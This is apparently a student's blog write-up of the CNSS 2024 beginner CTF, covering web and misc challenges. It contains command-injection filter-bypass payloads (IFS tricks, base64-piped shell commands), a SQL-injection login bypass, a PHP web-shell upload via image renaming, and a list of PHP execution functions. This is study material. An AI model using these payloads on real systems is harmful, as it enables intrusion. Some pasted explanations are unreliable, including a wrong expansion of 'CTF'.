CNSS2024-8-5练习新生赛

web

        babyHTTP

        get请求+post请求+cookie(cookie在请求头上把false换成true就行),根据提示一步步走

        PHPinfo 

        最开始我是直接/phpinfo了,发现找不到,在/phpinfo.php里面呢,考察基础目录知识

        我得再快点 

        这是个给提供不断刷新的key值,要求将key值md5加密后上传,下边是源码

<!-- index.html -->

<!DOCTYPE html>
<html>
<head>
    <title>Hello World</title>
    <script src="https://code.jquery.com/jquery-3.6.0.min.js"></script>
    <script>
        // 定时刷新页面的时间间隔(以毫秒为单位)
        var refreshInterval = 1000;  // 1秒

        // 定义刷新页面的函数
        function refreshPage() {
            location.reload();  // 刷新当前页面
        }

        // 在页面加载完成后开始定时刷新
        window.onload = function() {
            // 使用 setInterval 函数实现定时刷新
            setInterval(refreshPage, refreshInterval);
        };
    </script>
</head>
<body>
    <h3>请输入Key的MD5加密</h3>
    <p>Key : fIxGjFzTHBX9Aay<span id="variable"></span></p>
    <form action="/check" method="GET">
        <input type="text" id="value" name="value" required>
        <button type="Flag">Flag</button>
    </form>

    <script>
        // 使用 Ajax 定时更新变量的值
        setInterval(function() {
            $.ajax({
                url: '/variable',
                type: 'GET',
                success: function(response) {
                    $('#variable').text(response);
                },
                error: function() {
                    console.log('Failed to fetch variable value.');
                }
            });
        }, refreshInterval);
    </script>
</body>
</html>

先上传个1看看 

发现人的速度不能跟脚本相比,果断去写python脚本,在首业响应文本里获取key值进行md5加密上传到/check目录下get的值value中并获取响应文本 

以下是python脚本

import requests
import hashlib
import re

# 目标页面 URL
target_url = 'http://152.136.11.155:10103'

# 访问目标页面获取 Key 值
response = requests.get(target_url)
if response.status_code == 200:
    html_content = response.text
    print("成功获取目标页面内容")
else:
    print(f"访问目标页面失败,状态码: {response.status_code}")
    exit()

# 正则表达式提取 Key 后的字符串
key_pattern = re.compile(r'Key\s*:\s*([A-Za-z0-9]+)')
match = key_pattern.search(html_content)

if match:
    key_string = match.group(1)
    print(f"提取到的 Key 字符串: {key_string}")

    # 计算 MD5 哈希值
    md5_hash = hashlib.md5(key_string.encode()).hexdigest()
    print(f"MD5 哈希值: {md5_hash}")

    # 将 MD5 哈希值作为参数发送请求到 /check
    check_url = f'http://152.136.11.155:10103/check'
    params = {'value': md5_hash}
    check_response = requests.get(check_url, params=params)

    if check_response.status_code == 200:
        print("响应内容:")
        print(check_response.text)
    else:
        print(f"访问 /check 失败,状态码: {check_response.status_code}")
else:
    print("未找到 Key 后的字符串")

 

         🏓 Ping

        

题目这样,先检查过滤,

Error: Invalid input.应该就是被过滤了,有分号,大中小括号,空格 ,echo,`,%3B,|,<>,flag,%20之类的

解:我这里用%0A换行符号替代分号因为

在许多常见的命令行界面中,分号(;)常被用作命令的分隔符,允许在一行中执行多个命令。分号使命令以顺序依次执行。

相比之下,换行符(\n)或 URL 编码的换行符(%0A)在某些情况下可以用作命令的分隔符。例如,在某些网页表单或特定的应用程序中,分号可能被过滤或禁止使用,而换行符则可被接受。

下边的是一些不错的知识点我也放在下边的,需要的可以看看

空格被过滤
{cat,flag.php} 
cat${IFS}flag.php
cat$IFS$9flag.php
cat<flag.php
cat<>flag.php
kg=$'\x20flag.php'&&cat$kg
a=c;b=at;c=flag.php;$a$b $c
b=ag;a=fl;cat$IFS$1$a$b.php
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|sh
echo$IFS$1Y2F0IGZsYWcucGhw|base64$IFS$1-d|bash
echo$IFS$1aW1wb3J0IG9zCnByaW50KG9zLnN5c3RlbSgnY2F0IGZsYWcucGhwJykp|base64$IFS$1-d|python3
如果你在进行CTF(Cryptographic Token Fighting)比赛或者安全挑战时,遇到了一个关于ping命令的问题,其中分号被过滤或者不被允许,你可以尝试以下方法绕过这个限制:

使用十六进制编码:将分号;编码为其对应的URL编码%3B。

使用注释:在分号前面加上注释符号#或者使用--作为注释。

使用其他命令替代:例如,在类Unix系统中,可以使用&&连接符来执行多个命令。

例如,如果原本的ping命令是:

ping www.example.com;ls

你可以尝试以下绕过方法:

使用十六进制编码:

ping www.example.com%3Bls

使用注释:

ping www.example.com#ls

或者

ping www.example.com--ls

使用&&连接符:

ping www.example.com && ls

在实际应用中,需要根据具体的过滤规则和环境来选择合适的绕过方法。

        2048

        

如果网页无法通过F12键打开开发者工具,‌可以尝试以下几种解决方法:‌

  1. 使用快捷键:‌尝试使用Ctrl+U快捷键直接查看网页源代码,‌这是一个比F12更直接的查看源代码的方法。‌另外,‌也可以通过Ctrl+Shift+I快捷键在谷歌浏览器中直接打开开发者工具12。‌

  2. 提前按F12:‌在进入网站之前就按下F12键,‌然后再输入网站地址进入网站。

解:在控制台中输入score=10000000000

        🐶 CNSS娘の宠物商店

        根据提示:CNSS娘的账号是 admin , 登陆查看CNSS娘藏在后台的秘密……

这是个sql注入题

账号admin,密码万能绕过 'or'1=1  

        👤 换个头像先

注册个账号登陆进去,上传一个图片(我上的0.png),抓包bp上修改为0.php,

复制图像连接新建一个页面进入图片目录,将0.png换成0.php,post需要执行的命令

 

 这里可以用蚁剑连接或者直接harkbar传了

        🚓 can can need shell 

        先看源码,需要自己写个文件上传的html,这是我的

<!DOCTYPE html>
<html lang="zh-CN">
<head>
    <meta charset="UTF-8">
    <title>文件上传</title>
</head>
<body>
    <h1>上传文件</h1>
    <form action="http://152.136.11.155:10108/" method="post" enctype="multipart/form-data">
        <label for="uploaded_file">选择文件:</label>
        <input type="file" name="uploaded_file" id="uploaded_file" required>
        <input type="submit" value="上传文件">
    </form>
</body>
</html>

 接下来上传看看,我用的文件包含的方式,打算包含一个日志文件,结果没找到,可能是被玩坏了把

 不好使就写个txt文件,再用php文件包含他,也是可以运行的,如下

 成功拿下

        💽 newsql

        过滤了挺多的如 union,select,order,分号,这题不会,

        misc

        🙈 尔辈不能究物理

docx的文件应该都可以看作是压缩包,换成.zip文件,然后进入图片目录看看,看到了不得了的东西呢,cnss{w5_w0RD_BtM3!}//不是,我不知道为什么不对

 ✨ 星光下的梦想 

用工具频谱图看,内容换成小写

        笔记 

下面是我的笔记了,跟练习赛没啥关系了,就是我的备忘录,以后我可能看

<?php  
/** 
 * PHP获取路径或目录实现 
 */  
   
//魔术变量,获取当前文件的绝对路径  
echo "__FILE__:  ========>  ".__FILE__;    
echo '<br/>';  
   
//魔术变量,获取当前脚本的目录  
echo "__DIR__:  ========>  ".__DIR__;  
echo '<br/>';  
   
//dirname返回路径的目录部分,dirname(__FILE__)相当于__DIR__  
echo "dirname(__FILE__):  ========>  ".dirname(__FILE__);  
echo '<br/>';  
   
//$_SERVER['PHP_SELF']和$_SERVER['SCRIPT_NAME']的结果一般相同,他们都是获取当前脚本的文件名  
//只有当php以cgi方式运行时有区别,但是现在几乎找不到以cgi方式运行php了  
echo '$_SERVER["PHP_SELF"]:  ========>  '.$_SERVER['PHP_SELF'];  
echo '<br/>';  
   
echo '$_SERVER["SCRIPT_NAME"]:  ========>  '.$_SERVER['SCRIPT_NAME'];  
echo '<br/>';  
   
//当前执行脚本的绝对路径。记住,在CLI方式运行php是获取不到的  
echo '$_SERVER["SCRIPT_FILENAME"]:  ========>  '.$_SERVER['SCRIPT_FILENAME'];  
echo '<br/>';  
   
//当前运行脚本所在的文档根目录。在服务器配置文件中定义。  
echo '$_SERVER["DOCUMENT_ROOT"]:  ========>  '.$_SERVER['DOCUMENT_ROOT'];  
echo '<br>';  
   
//getcwd()返回当前工作目录  
echo "getcwd():  ========>  ".getcwd();  
echo '<br>';  
   
echo '<br>';  
echo "PHP整理"; 
php代码执行相关
eval()
assert()
preg_replace
call_user_func()
call_user_func_array()
create_function
array_map()
系统命令执行相关
system()
passthru()
exec()
pcntl_exec()
shell_exec()
popen()
proc_open()
`(反单引号)
ob_start()
php mail()

  • 13
    点赞
  • 12
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值